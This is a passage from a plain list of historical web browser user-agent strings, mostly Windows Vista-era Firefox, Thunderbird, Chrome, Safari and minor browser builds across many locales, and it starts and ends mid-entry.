x64; en-US; rv:1.9a8pre) Gecko/2007090213 Minefield/3.0a8pre\nMozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; ar; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; bg-BG; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; bg; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; bg; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ca; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 6.0; ca; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; ca; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ch; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; cs) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20\nMozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19\nMozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; da-DK) AppleWebKit/523.12.9 (KHTML, like Gecko) Version/3.0 Safari/523.12.9\nMozilla/5.0 (Windows; U; Windows NT 6.0; da; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; da; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; da; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; da; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; da; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; da; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; de-AT; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; de-AT; rv:1.8.1.18) Gecko/20081031 SeaMonkey/1.1.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2\nMozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  Arora/0.4 (Change:  )\nMozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 (.NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de-DE; rv:1.8.1.12) Gecko/20080203 K-Meleon/1.1.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; de-DE; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.17) Gecko/20080914 Thunderbird/2.0.0.17\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.18) Gecko/20081105 Thunderbird/2.0.0.18\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.19) Gecko/20081209 Thunderbird/2.0.0.19\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.21) Gecko/20090302 Thunderbird/2.0.0.21\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.22) Gecko/20090605 Thunderbird/2.0.0.22\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.23) Gecko/20090812 Thunderbird/2.0.0.23\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.24) Gecko/20100228 Thunderbird/2.0.0.24\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.5pre) Gecko/20070604 BonEcho/2.0.0.5pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9) Gecko/2008052906 Firefox/3.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 4.0.20506)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.15) Gecko/2009101601 Firefox 2.1 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.8) Gecko/2009033019 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.16) Gecko/20101123 SeaMonkey/2.0.11\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/2.0.0.15\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.8) Gecko/20100205 SeaMonkey/2.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 (.NET CLR 3.0.30618)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.13) Gecko/20101203 Firefox/3.5.9 (de)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.17) Gecko/20110414 Thunderbird/3.1.10 ThunderBrowse/3.3.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.19\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.28) Gecko/20120306 Thunderbird/3.1.20\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.8) Gecko/20100802 Thunderbird/3.1.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/525+ (KHTML, like Gecko) Version/3.0.4 Safari/523.11\nMozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-CA; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-CA; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.12) Gecko/20080213 Thunderbird/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.14) Gecko/20080421 Thunderbird/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.17) Gecko/20080914 Thunderbird/2.0.0.17\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.18) Gecko/20081105 Thunderbird/2.0.0.18\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.19) Gecko/20081209 Thunderbird/2.0.0.19\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.19\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.24) Gecko/20100228 Thunderbird/2.0.0.24\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9) Gecko/2008051206 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.13) Gecko/2009073022 EnigmaFox/3.0.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729) FirePHP/0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.5) Gecko/2008120122 Firefox/2.0.0.12;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.5;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.7) Gecko/2009021910 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.7) Gecko/2009031506 Firefox/3.0.7 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/2.0.0.10;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.4;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.5;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009033019 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 4.0.20506)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.10 GTB7.0 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.9) Gecko/20100315 Firefox/3.0.5;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.15) Gecko/20110303 AskTbBT4/3.11.3.15590 Firefox/3.6.15 ( .NET CLR 3.5.30729; .NET4.0C)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.0.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.8) Gecko/20100802 Thunderbird/3.1.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 ( .NET CLR 3.5.30729; .NET CLR 4.0.20506)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB;rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-MY) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  Arora/0.10.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.31 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.42 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.46 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/14871328.525\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/41562480.525\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527  (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: )\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527+ (KHTML, like Gecko)  QtWeb Internet Browser/1.7 http://www.QtWeb.net\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  Arora/0.4 (Change:  )\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  Arora/0.6 (Change:  )\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.1.2.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.4 (KHTML, like Gecko) Iron/0.3.155.0 Safari/18455624.528\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.4 (KHTML, like Gecko) Iron/0.3.155.0 Safari/19322656.528\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.5 (KHTML, like Gecko) Iron/0.4.155.0 Safari/528.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.7 (KHTML, like Gecko) Iron/1.0.155.0 Safari/528.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/529 (KHTML, like Gecko, Safari/529.0) Lunascape/4.9.9.100\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.160.0 Safari/530.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.162.0 Safari/530.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.164.0 Safari/530.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.168.0 Safari/530.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Iron/2.0.168.0 Safari/530.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.171.0 Safari/530.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.23 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.7 (KHTML, 